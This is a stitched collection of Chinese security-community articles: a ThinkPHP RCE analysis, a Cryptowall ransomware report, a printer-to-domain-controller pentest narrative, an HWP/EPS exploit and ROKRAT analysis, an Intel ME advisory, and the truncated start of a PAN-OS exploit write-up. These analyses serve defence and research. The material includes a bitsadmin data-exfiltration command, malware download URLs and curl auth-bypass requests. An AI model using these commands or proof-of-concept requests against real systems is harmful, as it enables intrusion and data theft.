分析发现，`$this->controller`是攻击者可控的，并传递给了如下的controller函数，继续分析该函数：
public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);
if (class_exists($class)) {
return $this->__get($class);
} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
return $this->__get($emptyClass);
}
throw new ClassNotFoundException('class not exists:' . $class, $class);
}
在这里，name是攻击者可控的，并传递给了如下的`parseModuleAndClass`函数：
protected function parseModuleAndClass($name, $layer, $appendSuffix)
{
if (false !== strpos($name, '\\')) {
$class = $name;
$module = $this->request->module();
} else {
if (strpos($name, '/')) {
list($module, $name) = explode('/', $name, 2);
} else {
$module = $this->request->module();
}
$class = $this->parseClass($module, $layer, $name, $appendSuffix);
}
return [$module, $class];
}
分析发现，当`$name`存在反斜杠时就直接将`$name`赋值给`$class`并返回。显然，攻击者通过控制输入就可以操控类的实例化过程，从而造成代码执行漏洞。
### 补丁分析
在ThinkPHP5.0.23以及5.1.31版本中，增加了对`$controller`的正则过滤：
导致无法再传入\think\app这种形式的控制器。
### 结论
此漏洞是因为框架对传入的路由参数过滤不严格，导致攻击者可以操作非预期的控制器类来远程执行代码。进一步分析发现，某些ThinkPHP版本不受已公开的POC的影响，这是由于该POC缺乏完备性考虑。因此，强烈建议用户及时将5.0.x版本升级到5.0.23，将5.1.x版本升级到5.1.31，以免遭受攻击。
* * * | 社区文章 |
# 当URL Shortener遇上勒索软件Ransomware
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://blog.malwarebytes.org/security-threat/2016/01/when-url-shorteners-and-ransomware-collide/>
译文仅供参考，具体内容表达以及含义原文为准。
想必大家对URL Shortener
Services（网址缩写服务）都不会感到陌生，因为它在Twitter和其他社交媒体网络中都有着广泛的应用。同样的，对于一些网络犯罪分子来说，他们也会使用URL
Shortener，来帮助完成他们想要实施的网络攻击。黑客们经常通过URL
Shortener来改变原来的网页地址，在将其重定向后，链接到一些事先设计好的恶意目标地址上，进而实施他们的犯罪活动。
近期，黑客就用该服务来制造了一个可疑链接，来骗取用户通过原先的URL进入他们的恶意网站。
例如：他们通过URL
Shortener来篡改http://46.30.45.39/Statement.jpg这样一个URL（原先是一个图片的下载地址，后被黑客改为了”Stament.js”恶意脚本的下载地址）。用户一旦输入该URL后，系统会自动跳转到http://46.30.45.39/yyo.w，下载一个叫做Cryptowall的数据绑架软件。黑客就能通过该软件远程锁定用户的计算机，进行勒索。
Cryptowwall其实是Ransomware的一种类型。（Ransomware是一种恶意勒索软件，用于数据绑架。它让犯罪分子能够远程锁定用户的计算机。
然后会显示一个弹出窗口，警告说用户的计算机已被锁定，并声称如果不付款，将不能使用计算机）。数据绑架是一个漏洞利用，攻击者通过加密受害者的数据，要求受害者为解密密钥支付费用。（在上述例子中，用的是RSA-2048加密方案）
缩短后的恶意URL为：http://46.30.45.39/Statement.jpg，实际上就是Statement.js脚本的下载地址。
一旦下载这个恶意脚本之后，该脚本就会让系统进入http://46.30.45.39/yyo.w，下载勒索软件Cryptowall。
网址缩写服务（URL Shortener
Service）使得缩短后的URL变得无效了，但与此同时，IP仍能够提供Cryptowall的下载标识（46.30.45.39/yyo.w）。上图所示即为相关的连接情况。
在用户计算机被该软件感染后，该软件会弹出一个对话框，反问用户，刚才发生什么了么？同时要求用户对该计算机的数据加密方案做出简单解释，然后给出解除数据绑架的步骤。最后，该软件会让用户登录一个特定的主页，阅读有关黑客设计的解绑数据说明，以及了解如何下载安装一个叫Tor的网页浏览器。
对话框的具体内容如下：
是不是找不到你需要的文件了？是不是发现有些文件的内容现在无法读取了？这就对了，因为你计算机中那些文件的文件名，以及文件内容已经被加密了。
恭喜你，你已经成为我们这个大家庭的一员了。（大家庭：Cryptowall软件的受害者）
Cryptowall已经把你的文件加密了。请放心，你在软件加密文件夹中看到的那些说明，并不是病毒，而是帮你进行解密文件的工具。相信在看了上述文字之后，你一定会去搜索引擎上调查一番，弄清楚Cryptowall到底是什么。虽然你会得到一些建议和指导，但相信我，那些东西并没有什么用。冷静下来之后，你就会发现：你的文件被绑架了。而最重要的是，只有我们才是你唯一可以依靠的人，只有我们才能为你的文件解锁。不要再抱有任何幻想了，你的其他任何解密方法，都很有可能彻底销毁这些加密文件，后果十分严重。
如果你不顾该软件发出的警告，试图通过自己的方法一次次地解密文件，这最终只会破坏文件。如果你一意孤行，那么我们也就无能为力了。以防这种悲剧的发生，我们为用户提供了一种方法，来解除文件锁定，即：购买我们的解密软件以及和软件配套的密钥。在购买了相关软件和密钥之后，你就可以：
1.解密所有的加密文件；
2.处理相关文档；
3.浏览你的照片和其他媒体文件；
4.可以继续便捷，舒适地使用你的计算机。
关于我们的情况：
IP Location（IP定位）：俄罗斯联邦，莫斯科市Eurobyte Llc
ASN：俄联邦AS35415 WEBZILLA Webzilla B.V.（2005年8月3号注册）
Rosolve Host（主机名）：vz110372.eurodir.ru
Server（服务器）：whois.ripe.net
IP Address（IP地址）：46.30.45.39
Reverse IP（曾用IP）：无
在今天看来，黑客使用Ransoware这种勒索软件进行网络攻击，已经不是什么新鲜事了。同时，他们总是能开发出一些新的间谍情报技术，并应用到网络攻击中。黑客在这方面的发展，要领先于传统的安全维护行业。这篇简短的博客，并不是要对哪一种URL
Shortener
Service（网址缩写服务）提出警告，也不是要对Cryptolocker软件进行多么详尽的分析。本文旨在提升人们的安全意识，特别是在使用到URL
Shortener Service时，要更加小心谨慎。
可以采取一些预防措施，来避免进入藏有恶意软件的缩写链接陷阱。比如：当你不了解这个链接的来源和其他情况时，你最好不要轻易地点击该链接，因为在该网页中很可能藏有恶意勒索软件。如果你还想了解更多保护措施，你可以点击checkshorturl.com，它会帮助到你（放心，这个链接是安全的）。
此外，还建议用户：在安装安全软件时，最好同时使用杀毒软件和反恶意程序软件，这样能够起到最好的防护效果。对于用Ransomware软件实施的IP地址调换，阻断IP链接和篡改主机域名等网络攻击，反恶意软件都能进行防御，为用户保驾护航。 | 社区文章 |
# 渗透测试-从打印机到主域控制器
> ps:关于域内信任这块基础可以参考倾旋的一篇wiki，内容很足很丰富。
> <https://payloads.online/archivers/2018-11-30/1> 彻底理解Windows认证 - 议题解读
## Intrusion testing
最近我参与了一个项目，在项目中，我要在不触发SOC(应该是安全运营中心的意思)的情况下，拿到目标内部的数据，我活动的范围只能是在一个会议室，然后目标的范围很广泛，我也不能接触其他计算机以及去别的房间。
然而，他们要求我检查一下，别人绕过外部的安全策略进入到内部的时候会怎么样。
我在会议室安装了CISCO国际呼叫VOIP系统，允许我使用LAN电缆。
> 该项目给我5天的时间去测试和2天的时间写报告。
注意：修改所有的IP地址和系统名称，这样不会暴露客户端的名称。
## Day 1
第一天是早上8:30开始。
主要目的是避开未被检测的数据，同时提取一些关键数据。
一旦我将系统连接到网络上，我很快就得到了一个IP，这可能意味着没有任何NAC(NAC,是一款由思科出品的网络设备)。
我做的第一件事是开始使用nslookup检查网络中的域名服务器。
大部分时间里，我发现DNS倾向于提供关于服务器和系统命名约定的大量信息。但是，我在网络里没有丝毫头绪。我在一个172.10.1.0的网络里。
我甚至尝试使用`PowerShell Active Directory`模块来查找`DC和DNS服务器`，但没有找到任何可用的。
这是令我震惊的，因为肯定是有一个DNS服务器，除非有一个NAC，而我被扔在了沙盒网络中。
当时是中午12点，我仍然不知道网络中的情况。我甚至无法ping任何系统，因为ICMP被防火墙禁止了。由于很难受，我从`Impacket`工具包中启动了`Responder`和`NTLM`中继，并使用定制的payload，认为这可能会给我一些线索。然而并没有什么卵用。我的耐心在一天结束的时侯就耗尽了，我开始通过在笔记本电脑上启动`Network
Discovery`来搜索`SMB共享`。
但是我空手并没有没套到白狼，2333.我回到家，继续做我自己的事，看看能做些什么。
## Day 2
所以第二天我自己先计划好。
由于我无法识别网络上的任何内容，因此我决定采用在极端隐身模式下使用Nmap的旧路线。 即使花一两天，也无所谓。
我从`172.10.1.0-172.10.4.0`网络范围内的随机IP上开始对端口445进行扫描。
到下午12点30分，扫描完成，我在网络中只发现了3个系统（所有unix）震惊。。。
在某些选定的公共端口上执行慢速服务扫描时，我意识到端口8443和8666处于活动状态。 访问这些，我发现这些是`Xerox C60-C70`机器 -打印机和复印机的混合版。 在访问端口时，我发现他们是网络服务器，提供了登录门户。
根据我在[OSCP](https://scriptdotsh.com/index.php/2018/04/17/31-days-of-oscp-experience/)中学到的内容，我搜索了`EFI Fiery Server`的默认密码，发现默认凭据为`admin:fiery.1`。
我很快就试过了，还有BAM！
我看到了一个具有管理权限的Web门户。
我发现这些是基于PHP开发的，门户网站（3.0版）已经过时了。 这个门户网站容易受到`LFI`的攻击，但无法在此处执行任何文件。
我进一步搜集信息，发现我可以从门户本身启用FTP，电子邮件和SSH服务器。 我还通过我的个人FTP启用所有打印机扫描的备份，因为默认情况下没有配置。
到这里，我确信一件事，只要有人打印什么机密文件，我都可以搞到手。
我尝试过[PRET](https://github.com/RUB-NDS/PRET)\- -一个打印机开发工具包，用于进一步利用，但没有找到任何东西。然后我ssh'd打印机，发现它有两个不同的网络接口。这意味着有两个不同的网络:一个隐藏在我网络中的，只能通过打印机访问。woc!
这让我想起了我的OSCP实验室！我快速进行端口转发和配置proxychains，找到DC和DNS服务器并启动 responder
,然后等待一些系统出现。我得到了大量的`NetNTLMv2`哈希，但意识到我无法使用[crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec)执行任何操作，因为所有系统都启用了SMB签名。与此同时，我也开始使用`GTX1050ti显卡`和`Hashcat`将`Net-NTLMv2`哈希破解到我的系统上，但没有找到，我的字典已经用完了。然后我开始再次搜索SMB共享，因为我现在知道DC，我找到了SYSVOL(LOGONSERVER)目录。
现在，我做的第一件事是导航到`SYSVOL`目录并开始搜索`groups.xml`文件。我找到了两个文件。一个不包含任何密码（仅在一个月后修改）和另一个旧的`groups.xml`，它最后在2011年创建和修改，保存在另一个文件夹中，其中保存了所有其他未使用的旧脚本。我使用
**gp3finder.exe**
解密旧`groups.xml`的密码，并尝试使用本地管理员的groups.xml密码登录到远程系统，但我失败了。这只是在一种尝试，因为这是一个旧的groups.xml文件，密码已经变了。
这时我回到我的Linux机器上，responder
和ntlmrelay正在运行，却发现我已经使用自己专门设计绕过赛门铁克的payload访问了其中一个系统。
现在我开始搜索我的用户可以做什么，以及我是否能够升级我的权限。 我发现了一个运行空格而没有双引号的Foxit服务。
我觉得这个可能是一个突破点，貌似我的用户也有在C盘中的写权限。 但这是误报，因为我的用户只有权在C盘中创建文件夹而不能复制或写入文件。
现在我尝试的下一件事是检查我的当前用户有哪些其他权限。 但难受的是，我的用户不在`RDP`组中。
现在是15:00。 难受的一批。
所以最终我放弃了并执行`Bloodhound`而没有任何进一步的麻烦，我开始寻找提权的方法。 这里是我找到的一个有趣的地方。
它是域管理员组中的MSSQL服务帐户，密码一年多没改。根据我的经验，我知道管理员通常不会更改服务帐户的凭据。他们通常有一个策略，没被破坏就不管。因此，我只是尝试使用旧的`groups.xml`密码登录系统（在上面的屏幕截图中的服务帐户用户描述中提到）。我从我的笔记本电脑登录到这个系统,运气比较好，我为此用户启用了交互式登录。我现在是`Domain
Admin`，但在使用2012 Server的`MSSQL DB
System`中，我可以在没有任何UAC的情况下启动`CMD`。我不想使用服务帐户登录`DC
/AD`，因为此时我不想对`SOC`提出任何疑问。所以，我快速启动任务管理器，dump
lsass.exe的内存并通过RDP将它下载到我的系统。然后使用mimikatz离线提取密码哈希，并找到一个有趣用户的凭证 - `Level3-INFRA-PUM`（出于安全原因，名称已更改）。这是一个金票据。我在该域上对该用户执行了LDAP查询，发现这是`Privilege User
Management`的`Level 3
Infrastructure`的管理员帐户。在用户帐户的说明中提到了与此用户关联的计算机主机名。我使用域凭据登录到PUM的Web门户，发现门户上没有启用多因素身份验证。我在这里进行了一些额外的研究，发现这个组织有LAPS(LAPS是一种组策略客户端扩展)设置，为了登录远程系统，我不得不从PUM获取密码，然后才能登录本地管理系统。这就是为啥我无法使用GP3密码以本地管理员身份登录的原因，因为他们已经停止使用groups.xml进行密码管理。我从PUM访问了域管理员的密码并访问了域控制器，但发现这只是一个`Child
DC`。两个不同国家/地区的另外两个域控制器与此系统相连。查询DC显示信任是双向的。我试图登录到父DC，但由于某种原因我无法登录。我意识到这只是第2天，我想先溜了，至少有搞下来了一个DC。
## Day 3
我想今天将是一个不一样的一天。
在检查组策略后，我意识到这些人已禁用除`IT支持人员`和`域管理员`组之外的所有用户的RDP。远程通信的唯一方法是`Team
Viewe`r，我显然不会很快接触到它。我在DC上使用了来自`Sysinternals`的`Sharenum`来检查所有可能连接的共享驱动器，并在目录中找到了大量的SMB共享。我发现了很多敏感信息，包括会计团队的银行凭证，我觉得是时候搜集泄露的数据了。我使用BITSadmin将所有副本下载到打印机：
bitsadmin.exe /transfer upjob /upload /priority normal http://192.168.x.x/data.zip D:\temp\data.zip
然后通过WinSCP将其下载到我的系统。
> 科普一下，Sysinternals被微软买了，所以自带签名，白名单工具包。
> 我还在想，如果我能理解目标的AD结构的内部工作方式会更好，因此我用`ADExplorer`（Sysinternals的另一个工具）创建了一个计划任务
> -并安排在凌晨1点，以便在离开这个地方之前以较低的速度创建整个`Active Directory`的快照。
## Day 4
我查看AD快照，我看到在隐藏的共享驱动器中创建了一个400 MB的文件，我后来将它下载到我的系统中。 最后，
我可以访问所有组策略以及整个域中的所有对象，以后我可以离线查询以备需要一些数据。
我还决定更深入地检查LAPS密码，只是为帐户描述中具有不同域名的域用户之一找到它的密码。 该用户未在整个组织的任何地方用于登录。
我检查了`bloodhound`数据以便再次确认，但没有提到这个用户。 这就很有趣，因为所有其他DC管理员至少有一个或另一个登录。
然后我尝试使用此DC管理员的凭证登录到其他父域，最后我可以访问父DC。
ps:域之间也有父域和子域，也存在信任关系。
我不得不通知SPOC，看这是否在测试范围之内。 然后他们跟我说这些DC超出了范围所以我只能先停下。
但这是一个不可思议的旅程，从什么东西也没找到到拿到了DC的权限，还是 `Parent Domain Controls`
## 总结
得到教训：
永远不要忽视评估过程中发现的小信息。 你甚至无法理解这些信息的潜力。要经常给你的打印机打补丁并保证它们的安全。
它们是您域中的一部分，与网络中的其他设备一样重要。
切勿将服务帐户添加到域管理员组。
反病毒机制很好，但应用白名单更好。
切勿将旧密码配置文件存储在域中的任何位置。 攻击者只需搜索这些凭证信息然后升级其权限就更容易了。
弱口令无敌啊。
> ps : 作者很牛，打印机R到DC，可是没我帅。
原文链接：<http://niiconsulting.com/checkmate/2019/01/intrusion-testing-from-evil-printers-to-parent-domain-controllers/> | 社区文章 |
# 疑似“Group 123” APT团伙利用HWP软件未公开漏洞的定向攻击分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
2018年9月20日，360威胁情报中心在日常样本分析与跟踪过程中发现了一例针对韩国文字处理软件Hancom
Office设计的漏洞攻击样本。通过详细分析发现，该样本疑似与APT组织“Group 123”相关，且该HWP样本利用了一个从未公开披露的Hancom
Office漏洞来执行恶意代码。360威胁情报中心通过对该漏洞进行详细分析后发现，这是Hancom
Office在使用开源Ghostscript（下称GS）引擎时未正确使用GS提供的沙盒保护功能而导致的任意文件写漏洞。
360威胁情报中心通过对已知的HWP相关漏洞检索后发现，该漏洞疑似从未被公开（没有任何信息来源对该漏洞进行过描述或者分析，也没有漏洞相关的CVE等信息）。幸运的是，由于版权相关问题，最新版的Hancom
Office已经将GS开源组件移除，使问题在最新的软件中得到缓解，但老版本的用户依然受影响，而且此类用户的数量还很大。
而截止我们发布本篇报告时，VirusTotal上针对该攻击样本的查杀效果如下，也仅仅只有5家杀软能检查出其具有恶意行为：
## Hancom Office
HWP的全称为Hangul Word
Processor，意为Hangul文字处理软件，其是Hancom公司旗下的产品，该公司为韩国的政府所支持的软件公司。Hancom
Office办公套件在韩国是非常流行的办公文档处理软件，有超过75%以上的市场占有率。
Hancom公司目前主要的是两个产品系列，一个是Hancom Office，另一个是ThinkFree Office。Hancom
Office套件里主要包含HanCell（类似微软的Excel），HanShow
（类似微软的PowerPoint），HanWord（也就是HWP，类似微软的Office Word）等。
而在它的官网提供两种语言（英文和韩文），当你以英文的界面语言去访问该网站时，它的下载中心里所提供的只有ThinkFree
Office的系列产品，当以韩文界面语言去访问时，它的下载中心里所提供的是Hancom
Office系列产品，可以看出Hancom公司针对国内还是主推Hancom Office的产品，针对其他非韩文国家则推送ThinkFree
Office的系列产品：
## HWP未公开漏洞分析
360威胁情报中心针对该未公开HWP漏洞的整个分析过程如下。
### 利用效果
使用安装了Hancom Office Hwp 2014（9.0.0.1086）的环境打开捕获到的恶意HWP文档，以下是Hancom Office版本信息：
HWP样本打开后不会弹出任何提示框，也不会有任何卡顿，便会静默在当前用户的启动目录释放恶意脚本UpgradeVer45.bat，并且在%AppData%目录下释放Dhh01.oju01和Dhh02.oju01文件，如下图：
通过进程行为分析可以发现，这其实是Hancom Office自带的gbb.exe程序执行了恶意文件的释放操作：
而gbb.exe其实是Hancom
Office用于处理HWP文件中内嵌的EPS脚本的一个外壳程序，其核心是调用了开源GhostScript（下称GS）组件gsdll32.dll来处理EPS脚本：
gbb.exe解析EPS文件所执行的命令行如下：
“C:\Program Files\Hnc\HOffice9\Bin\ImgFilters\gs\gs8.71\bin\gbb.exe”
“C:\Users\admin\AppData\Local\Temp\Hnc\BinData\EMB000009b853ef.eps”
“C:\Users\admin\AppData\Local\Temp\gsbF509.tmp”
---
所以该恶意HWP样本极有可能是通过内嵌的EPS脚本触发漏洞来实现释放恶意文件的。为了验证该想法，360威胁情报中心的研究人员提取了HWP文件中的EPS文件后，使用HWP自带的EPS脚本解析程序gbb.exe来模拟Hancom
Office解析该脚本（向gbb.exe传入了Hancom
Office解析EPS脚本文件时相同的参数列表），也可达到相同的效果（Windows启动项被写入恶意脚本）：
### 漏洞分析过程
既然确定了该恶意HWP样本是利用了解析EPS脚本的相关漏洞来释放恶意文件的，那么我们通过深入分析HWP文件携带的EPS脚本即可找到漏洞成因。
#### EPS/PS、PostScript以及GhostScript项目
在分析该漏洞前，我们需要了解一些关于EPS/PS和PostScript以及GhostScript项目的相关知识。
1. EPS（Encapsulated Post Script）
EPS是Encapsulated Post
Script的缩写，是一个专用的打印机描述语言，可以描述矢量信息和位图信息，支持跨平台。是目前桌面印刷系统普遍使用的通用交换格式当中的一种综合格式。EPS/PS文件格式又被称为带有预视图象的PS文件格式，它是由一个PostScript语言的文本文件和一个（可选）低分辨率的由PICT或TIFF格式描述的代表像组成。其中，PostScript是一种用来描述列印图像和文字的编程语言，该编程语言提供了丰富的API，包括文件读写等功能：
2. GhostScript项目
GhostScript项目是一套Post Script语言的解释器软件。可对Post Script语言进行绘图，支持Post
Script与PDF互相转换。换言之，该项目可以解析渲染EPS图像文件。而Hangul正是利用此开源项目支持EPS文件渲染。
#### 提取HWP中的EPS脚本
要分析HWP中的EPS脚本，需要将EPS脚本提取出来。而HWP文件本质上是OLE复合文件，EPS则作为复合文件流存储在HWP文件中，可以用现有工具oletools、Structured
Storage eXplorer、Structured Storage Viewer等工具查看和提取，以下是Structured Storage
eXplorer工具查看的效果图：
而HWP文件中的大部分流都是经过zlib raw
deflate压缩存储的，EPS流也不例外。可以通过Python解压缩恶意HWP文件中的EPS流，代码如下：
以下是解压缩后的恶意EPS文件内容：
#### 恶意EPS脚本分析
解压后的恶意PostScript脚本功能分析如下：
第1行为注释代码，表示使用Adobe-3.0、EPSF-3.0标准。
---
第3-8行定义了一个字符串拼接函数catme，类似C语言中的strcat函数。
第10行获取%AppData%环境变量并存储于变量envstr中。
第11行利用catme函数拼接出文件路径并存储于变量path1中。
第12、13行含义同11行。
第14行采用写入的方式打开%AppData%\Microsoft\Windows\Start
Menu\Programs\StartUp\UpgradeVer45.bat文件并将文件句柄存储于变量file1中。
第15行将字符串“copy /b … WinUpdate148399843.pif”写入path1中。
第16行关闭file1。
第17行以写入方式打开%AppData%\Dhh01.oju01文件。
第18行写入PE文件头MZ标识到%AppData%\Dhh01.oju01文件。
第19-36行将后面的16进制字符串写入文件%AppData%\Dhh02.oju01。
#### 未正确使用GhostScript提供的沙盒保护导致任意文件写漏洞
可以看到，整个EPS脚本中并没有任何已知漏洞相关的信息，脚本功能是直接将恶意文件写入到了Windows启动项，这显然脱离了一个图像解析脚本的正常功能范围。
我们在翻阅了GhostScript开源组件的说明后发现，GhostScript其实提供了一个名为“-dSAFER”的参数来将EPS脚本的解析过程放到安全沙箱中执行，以防止诸如任意文件写这类高危操作发生。
而Hancom
Office在解析处理HWP文件中包含的EPS文件时，会调用自身安装目录下的gbb.exe。gbb.exe内部最终会调用同目录的GhostScript开源组件gsdll32.dll来解析和显示EPS图像：
可以很明显的看到，Hancom Office在调用GhostScript开源组件的过程中没有使用-dSAFER参数，使得EPS解析过程并没有在沙箱中执行，也就是说PostScript脚本的所有操作均在真实环境中。这自然就导致了Hancom
Office允许EPS脚本执行任意文件写。
至此，我们可以很清楚的认定，该漏洞成因为Hancom
Office未正确使用GhostScript（开源EPS解析组件）提供的沙盒保护而导致了任意文件写漏洞。
360威胁情报中心安全研究员通过手动调用gswin32.exe（GhostScript提供的一个解析EPS脚本的外壳程序）来解析恶意EPS文件，并加上了-dSAFER参数，此时gswin32.exe提示“invalidfileaccess”，即未能将文件写入到磁盘（写入启动项失败，这也反面证明了漏洞的成因）。如下图：
### 受影响软件版本
理论上2017年5月之前开发的支持EPS脚本解析的Hancom Office软件都受该漏洞影响。
### 漏洞时间线
截止目前，Hangul Office产品线已经有了很多版本分支，而至少在Hangul
2010就引入了GhostScript开源组件用于解析EPS文件。根据维基百科资料显示：在2017年5月由于Hangul
Office产品线使用了GhostScript组件而没有开源，这一行为违反了GhostScript的开源协议GUN GPL，被要求开源其产品的源代码。
鉴于此版权问题，Hangul在Hangul NEO(2016)的后续版本中去除了GhostScript开源组件。并且在我们测试的Hangul
2014的最新更新中，已经剔除了老版本中的GhostScript开源组件，这变相的消除了该漏洞隐患。
## 恶意样本Payload分析
### 漏洞利用文档
漏洞利用文档是名为“7주 신뢰와 배려의 커뮤니케이션.hwp(7周信任和关怀的交流)”
文档内容如下：
成功利用后会在当前用户的启动目录释放UpgradeVer45.bat脚本，并且在%appdata%目录下释放Dhh01.oju01和Dhh02.oju01文件，当用户重新登录时，UpgradeVer45.bat会将%appdata%目录下释放的两个文件合并为WinUpdate148399843.pif文件。
### WinUpdate148399843.pif
WinUpdate148399843.pif文件则是一个PE文件，该文件使用Themida加壳：
使用OD脚本脱壳后进行分析，样本执行后首先检测进程路径是否包含”WinUpdate”（样本本身包含的名字），若不是则退出：
进而检测启动项目录下是否有以”UpgradeVer”开头的文件
样本还会进行反调试检测：
随后，样本会执行%system32%下的sort.exe程序：
之后利用WriteProcessMemory，RtlCreateUserThread向sort.exe注入一段ShellCode执行：
### ShellCode
注入的ShellCode首先会通过IsDebuggerPresent检测是否处于调试状态：
并通过与“E2F9FC8F”异或解密出另一个PE文件：
最后内存执行解密后的PE文件：
### ROKRAT
最终解密后的PE文件是ROKRAT家族的远控木马，该木马会获取计算机名称、用户名、并通过smbios判断计算机类型：
随后会进行沙箱执行环境检测：
如果检测到存在”C:\Program Files\VMware\VMware
Tools\vmtoolsd.exe”路径则会往MBR中写入”FAAAA…Sad…”字符串：
写入之后通过shutdown命令重启电脑：
重启后开机显示画面：
如果样本未检测到沙箱运行环境，则会执行后续的主要功能，包括获取屏幕截图：
并通过网盘上传数据，网盘的API
Key会内置在样本数据里。下图为提取到的字符串的信息，样本会通过API调用4个国外主流的网盘包括：pcloud、box、dropbox、yandex
API KEY通过解密获取，解密函数如下：
尝试向网盘上传数据：
## 溯源与关联
360威胁情报中心通过内部威胁情报平台以及公开情报进行关联，发现此次攻击事件疑似为APT组织“Group 123”所为，关联依据如下：
Group 123团伙曾在多次活动使用ROKRAT：
且在2017年3月的攻击活动使用的样本也会判断当处于虚拟机环境下时，会向MBR写入字符串“Are you
Happy”，而在本次活动中，同样的向MBR写入了字符串“FAAAA…Sad…”：
并且本次捕获的样本代码片段和之前的基本一致，我们在这里选取Group 123曾使用的ROKRAT（MD5:
bedc4b9f39dcc0907f8645db1acce59e）进行对比，如下图可见，代码结构基本相同：
## 总结
360威胁情报中心本次分析的HWP漏洞的根本原因是Hangul Office在使用GS引擎解析PostScript脚本时没有合理使用沙箱功能，即忽略了-dSAFER的沙箱选项。在这种情况下，攻击者只需要通过PostScript脚本将恶意软件写入到启动项或者其它系统劫持路径中，当用户重新启动操作系统或者触发劫持时就达到执行恶意代码的目的。虽然相关的漏洞在最新版本的Hancom
Office软件中不再存在，但依然有大量的老版本用户暴露在这个免杀效果非常好的漏洞之下，成为攻击执行针对性的入侵的有效工具，360威胁情报中心在此通过本文向公众提醒这类攻击的威胁以采取必要的防护措施。
## IOC
说明 | MD5
---|---
HWP文档 | 3f92afe96b4cfd41f512166c691197b5
UpgradeVer45.bat | 726ef3c8df210b1536dbd54a5a1c74df
Dhh01.oju01 | ac6ad5d9b99757c3a878f2d275ace198
Dhh02.oju02 | d3f076133f5f72b9d1a55f649048b42d
WinUpdate148399843.pif | 6ec89edfffdb221a1edbc9852a9a567a
ROKRAT远控 | 7a751874ea5f9c95e8f0550a0b93902d
## 参考
[1].<https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html>
[2].<https://ti.360.net/blog/articles/analysis-of-cve-2018-4878/>
[3].[https://zenhax.com/viewtopic.php?f=4&t=1051](https://zenhax.com/viewtopic.php?f=4&t=1051)
[4].[https://en.wikipedia.org/wiki/Hancom
Office_(word_processor)](https://en.wikipedia.org/wiki/Hangul_\(word_processor\))
[5].<https://en.wikipedia.org/wiki/Hancom>
[6].<https://hancom.com> | 社区文章 |
# 【漏洞预警】Intel Q3'17 ME 11.x, SPS 4.0, TXE 3.0 重要安全更新
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**0x00 事件背景**
2017年11月20日，Intel官方发布了一则Intel多款固件安全更新公告(编号Intel-SA-00086)。此公告提供了包括Intel®
Management Engine (ME), Intel® Server Platform Services (SPS), and Intel®
Trusted Execution Engine (TXE)的安全漏洞情况和更新补丁。
据悉，相关固件产品一共有10个CVE漏洞编号， **其中8个被评级为高危，2个中危。**
360CERT建议广大使用Intel相关固件的用户尽快进行排查升级处理,目前官方已经提供了相关检测工具。
**0x01 事件影响面**
**影响面**
**攻击者可以在目标操作系统不可直接访问的区域进行加载/执行任意代码，具备极高的隐蔽性，常规方法无法检测到。**
**影响产品**
6th, 7th & 8th Generation Intel® Core™ Processor Family
Intel® Xeon® Processor E3-1200 v5 & v6 Product Family
Intel® Xeon® Processor Scalable Family
Intel® Xeon® Processor W Family
Intel® Atom® C3000 Processor Family
Apollo Lake Intel® Atom Processor E3900 series
Apollo Lake Intel® Pentium™
Celeron™ N and J series Processors
**漏洞详情**
针对相关产品漏洞一共有10个CVE介绍
**0x02 安全建议**
厂商Intel已经推出了相应的安全细节通告，漏洞检测工具。360CERT建议广大用户尽快进行更新。
Linux和Windows 漏洞检测工具官方下载地址：<http://www.intel.com/sa-00086-support>
针对某款普通家庭笔记本检测结果
**0x03 时间线**
2017-11-20 Intel发布固件更新公告
2017-11-21 360CERT发布漏洞预警
**0x04 参考链接**
官方公告:<https://www.intel.com/content/www/us/en/support/articles/000025619/software.html>
官方披露技术细节:[https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00086&languageid=en-fr](https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00086&languageid=en-fr) | 社区文章 |
作者：栋栋的栋
作者博客：[https://d0n9.github.io](https://d0n9.github.io/2018/01/26/CVE-2017-15944%20Palo%20Alto%E9%98%B2%E7%81%AB%E5%A2%99%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%9E%84%E9%80%A0%20EXP/
"https://d0n9.github.io")
在 exploit-db 看到 CVE-2017-15944
这个漏洞，三处漏洞打出的组合拳导致最后命令执行，三环缺一不可，最喜欢这样变废为宝的利用，但是在复现构造EXP还是遇到不少“坑”，本文记录一下填坑的过程….
exploit-db 地址 <https://www.exploit-db.com/exploits/43342/>
该漏洞影响范围还是很广泛的，但是并没有看到有人放出EXP，最多只是PoC或者省去了很坑的命令执行漏洞。
<=PAN-OS 6.1.18
<=PAN-OS 7.0.18
<=PAN-OS 7.1.13
<=PAN-OS 8.0.5
三处漏洞分别为：权限绕过，任意目录创建，命令执行
不过命令执行部分的详细内容原作者并没有给出，只有 Payload ，而且还执行不成功，手头也没有设备，只好硬着头皮去 Shodan
找到环境，一点点摸索尝试构造 EXP
$ shodan download search 'Location: /php/login.php port:"4443"' limit 3000
$ shodan parse --fields ip_str search.json.gz
原作者给出了权限绕过的 PoC
imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" 10.0.0.1/php/utils/debug.php
<!DOCTYPE html>
<html><head><title>Moved Temporarily</title></head>
<body><h1>Moved Temporarily</h1>
<p>The document has moved <a href="http://10.0.0.1:28250/php/logout.php
">here</a>.</p>
<address>PanWeb Server/ - at 127.0.0.1:28250 Port 80</address></body>
</html>
imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" '
10.0.0.1/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";'
@start@Success@end@
imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" 10.0.0.1/php/utils/debug.php
2>/dev/null|head -30
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "
http://www.w3.org/TR/html4/loose.dtd";>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title>Debug Console</title>
